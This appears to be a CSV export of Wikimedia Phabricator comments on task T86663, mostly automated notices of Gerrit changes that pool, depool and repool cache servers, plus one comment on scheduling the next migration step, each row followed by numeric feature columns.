441577,Expand HTTP frontend clusters with new hardware,"Change 203264 merged by BBlack:
T86663 5.5: pool 3046; depool 3007,amssq59-60

[[https://gerrit.wikimedia.org/r/203264]]",,,1428625856,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.652173913043478,0.8695652173913043,"Change 203264 merged by BBlack:
T86663 5.5: pool 3046; depool 3007,amssq59-60

[[GERRIT_URL]]"
441576,Expand HTTP frontend clusters with new hardware,"Change 203264 had a related patch set uploaded (by BBlack):
T86663 5.5: pool 3046; depool 3007,amssq59-60

[[https://gerrit.wikimedia.org/r/203264]]
",,,1428625837,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.6,0.9,"Change 203264 had a related patch set uploaded (by BBlack):
T86663 5.5: pool 3046; depool 3007,amssq59-60

[[GERRIT_URL]]
"
441529,Expand HTTP frontend clusters with new hardware,"Change 203240 merged by BBlack:
T86663 5.2: repool cp3004

[[https://gerrit.wikimedia.org/r/203240]]",,,1428618515,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.6666666666666665,0.8333333333333334,"Change 203240 merged by BBlack:
T86663 5.2: repool cp3004

[[GERRIT_URL]]"
441527,Expand HTTP frontend clusters with new hardware,"Change 203240 had a related patch set uploaded (by BBlack):
T86663 5.2: repool cp3004

[[https://gerrit.wikimedia.org/r/203240]]
",,,1428618487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6,0.88,"Change 203240 had a related patch set uploaded (by BBlack):
T86663 5.2: repool cp3004

[[GERRIT_URL]]
"
441524,Expand HTTP frontend clusters with new hardware,"Change 203239 merged by BBlack:
T86663 5.2: switch cp3004 role

[[https://gerrit.wikimedia.org/r/203239]]",,,1428618267,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6842105263157894,0.8421052631578947,"Change 203239 merged by BBlack:
T86663 5.2: switch cp3004 role

[[GERRIT_URL]]"
441523,Expand HTTP frontend clusters with new hardware,"Change 203239 had a related patch set uploaded (by BBlack):
T86663 5.2: switch cp3004 role

[[https://gerrit.wikimedia.org/r/203239]]
",,,1428618237,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6153846153846154,0.8846153846153846,"Change 203239 had a related patch set uploaded (by BBlack):
T86663 5.2: switch cp3004 role

[[GERRIT_URL]]
"
441520,Expand HTTP frontend clusters with new hardware,"Change 203238 merged by BBlack:
T86663 5.1: pool 3037; depool 3004,amssq5[34]

[[https://gerrit.wikimedia.org/r/203238]]",,,1428617922,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8181818181818183,0.8181818181818182,"Change 203238 merged by BBlack:
T86663 5.1: pool 3037; depool 3004,amssq5[34]

[[GERRIT_URL]]"
441519,Expand HTTP frontend clusters with new hardware,"Change 203238 had a related patch set uploaded (by BBlack):
T86663 5.1: pool 3037; depool 3004,amssq5[34]

[[https://gerrit.wikimedia.org/r/203238]]
",,,1428617889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7241379310344827,0.8620689655172413,"Change 203238 had a related patch set uploaded (by BBlack):
T86663 5.1: pool 3037; depool 3004,amssq5[34]

[[GERRIT_URL]]
"
441516,Expand HTTP frontend clusters with new hardware,"Change 203235 merged by BBlack:
T86663 5.1: repool cp3003

[[https://gerrit.wikimedia.org/r/203235]]",,,1428617633,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.6666666666666665,0.8333333333333334,"Change 203235 merged by BBlack:
T86663 5.1: repool cp3003

[[GERRIT_URL]]"
441514,Expand HTTP frontend clusters with new hardware,"Change 203235 had a related patch set uploaded (by BBlack):
T86663 5.1: repool cp3003

[[https://gerrit.wikimedia.org/r/203235]]
",,,1428617616,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6,0.88,"Change 203235 had a related patch set uploaded (by BBlack):
T86663 5.1: repool cp3003

[[GERRIT_URL]]
"
441507,Expand HTTP frontend clusters with new hardware,"Change 203233 merged by BBlack:
T86663 5.1: switch cp3003 role

[[https://gerrit.wikimedia.org/r/203233]]",,,1428617265,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6842105263157894,0.8421052631578947,"Change 203233 merged by BBlack:
T86663 5.1: switch cp3003 role

[[GERRIT_URL]]"
441503,Expand HTTP frontend clusters with new hardware,"Change 203233 had a related patch set uploaded (by BBlack):
T86663 5.1: switch cp3003 role

[[https://gerrit.wikimedia.org/r/203233]]
",,,1428617076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6153846153846154,0.8846153846153846,"Change 203233 had a related patch set uploaded (by BBlack):
T86663 5.1: switch cp3003 role

[[GERRIT_URL]]
"
441499,Expand HTTP frontend clusters with new hardware,"Change 203231 merged by BBlack:
T86663 5.1: pool 3036; depool 3003,amssq5[12]

[[https://gerrit.wikimedia.org/r/203231]]",,,1428616505,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8181818181818183,0.8181818181818182,"Change 203231 merged by BBlack:
T86663 5.1: pool 3036; depool 3003,amssq5[12]

[[GERRIT_URL]]"
441498,Expand HTTP frontend clusters with new hardware,"Change 203231 had a related patch set uploaded (by BBlack):
T86663 5.1: pool 3036; depool 3003,amssq5[12]

[[https://gerrit.wikimedia.org/r/203231]]
",,,1428616468,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7241379310344827,0.8620689655172413,"Change 203231 had a related patch set uploaded (by BBlack):
T86663 5.1: pool 3036; depool 3003,amssq5[12]

[[GERRIT_URL]]
"
441111,Expand HTTP frontend clusters with new hardware,"Based on the overnight esams traffic graphs up through present, the Step 4 moves last night were probably slightly more aggressive than ideal, but still within reason.  Given that the moves in Step 5 are slightly-less-impactful (no mobile), it should be possible to slot them into the same time window over two EU evenings (one set of 4 moves starting circa 20:00 UTC Apr 9th, and the final set either Fri Apr 10 or Mon Apr 13, depending how we feel on risking it just before a weekend).",,,1428590243,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.0,0.0,0.0,0.0,0.0,5.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,5.0,9.5,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,12.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.5,8.5,1.5,2.5,6.0,0.0,0.0,0.0,0.0,1.5,0.0,7.0,0.0,3.5,9.5,7.5,0.0,0.0,0.0,3.5,0.0,1.0,1.0,1.0,3.0,1.0,0.0,0.0,3.846153846153846,0.875,"Based on the overnight esams traffic graphs up through present, the Step 4 moves last night were probably slightly more aggressive than ideal, but still within reason.  Given that the moves in Step 5 are slightly-less-impactful (no mobile), it should be possible to slot them into the same time window over two EU evenings (one set of 4 moves starting circa 20:00 UTC Apr 9th, and the final set either Fri Apr 10 or Mon Apr 13, depending how we feel on risking it just before a weekend)."
440787,Expand HTTP frontend clusters with new hardware,"Change 202973 merged by BBlack:
T86663 4.4: repool cp301[48]

[[https://gerrit.wikimedia.org/r/202973]]",,,1428541765,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6315789473684212,0.7894736842105263,"Change 202973 merged by BBlack:
T86663 4.4: repool cp301[48]

[[GERRIT_URL]]"
440786,Expand HTTP frontend clusters with new hardware,"Change 202973 had a related patch set uploaded (by BBlack):
T86663 4.4: repool cp301[48]

[[https://gerrit.wikimedia.org/r/202973]]
",,,1428541742,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.576923076923077,0.8461538461538461,"Change 202973 had a related patch set uploaded (by BBlack):
T86663 4.4: repool cp301[48]

[[GERRIT_URL]]
"
440776,Expand HTTP frontend clusters with new hardware,"Change 202972 merged by BBlack:
T86663 4.4: shuffle roles, no repool yet

[[https://gerrit.wikimedia.org/r/202972]]",,,1428541377,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.5454545454545454,0.8636363636363636,"Change 202972 merged by BBlack:
T86663 4.4: shuffle roles, no repool yet

[[GERRIT_URL]]"
440774,Expand HTTP frontend clusters with new hardware,"Change 202972 had a related patch set uploaded (by BBlack):
T86663 4.4: shuffle roles, no repool yet

[[https://gerrit.wikimedia.org/r/202972]]
",,,1428541337,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.5172413793103448,0.896551724137931,"Change 202972 had a related patch set uploaded (by BBlack):
T86663 4.4: shuffle roles, no repool yet

[[GERRIT_URL]]
"
440768,Expand HTTP frontend clusters with new hardware,"Change 202970 merged by BBlack:
T86663 4.4: pool 3045; depool 3018,3014,amssq49-50

[[https://gerrit.wikimedia.org/r/202970]]",,,1428540846,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.869565217391304,0.8695652173913043,"Change 202970 merged by BBlack:
T86663 4.4: pool 3045; depool 3018,3014,amssq49-50

[[GERRIT_URL]]"
440767,Expand HTTP frontend clusters with new hardware,"Change 202970 had a related patch set uploaded (by BBlack):
T86663 4.4: pool 3045; depool 3018,3014,amssq49-50

[[https://gerrit.wikimedia.org/r/202970]]
",,,1428540808,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7666666666666666,0.9,"Change 202970 had a related patch set uploaded (by BBlack):
T86663 4.4: pool 3045; depool 3018,3014,amssq49-50

[[GERRIT_URL]]
"
440763,Expand HTTP frontend clusters with new hardware,"Change 202969 merged by BBlack:
T86663 4.3: repool cp301[37]

[[https://gerrit.wikimedia.org/r/202969]]",,,1428540461,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6315789473684212,0.7894736842105263,"Change 202969 merged by BBlack:
T86663 4.3: repool cp301[37]

[[GERRIT_URL]]"
440762,Expand HTTP frontend clusters with new hardware,"Change 202969 had a related patch set uploaded (by BBlack):
T86663 4.3: repool cp301[37]

[[https://gerrit.wikimedia.org/r/202969]]
",,,1428540436,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.576923076923077,0.8461538461538461,"Change 202969 had a related patch set uploaded (by BBlack):
T86663 4.3: repool cp301[37]

[[GERRIT_URL]]
"
440752,Expand HTTP frontend clusters with new hardware,"Change 202967 merged by BBlack:
T86663 4.3: shuffle roles, no repool yet

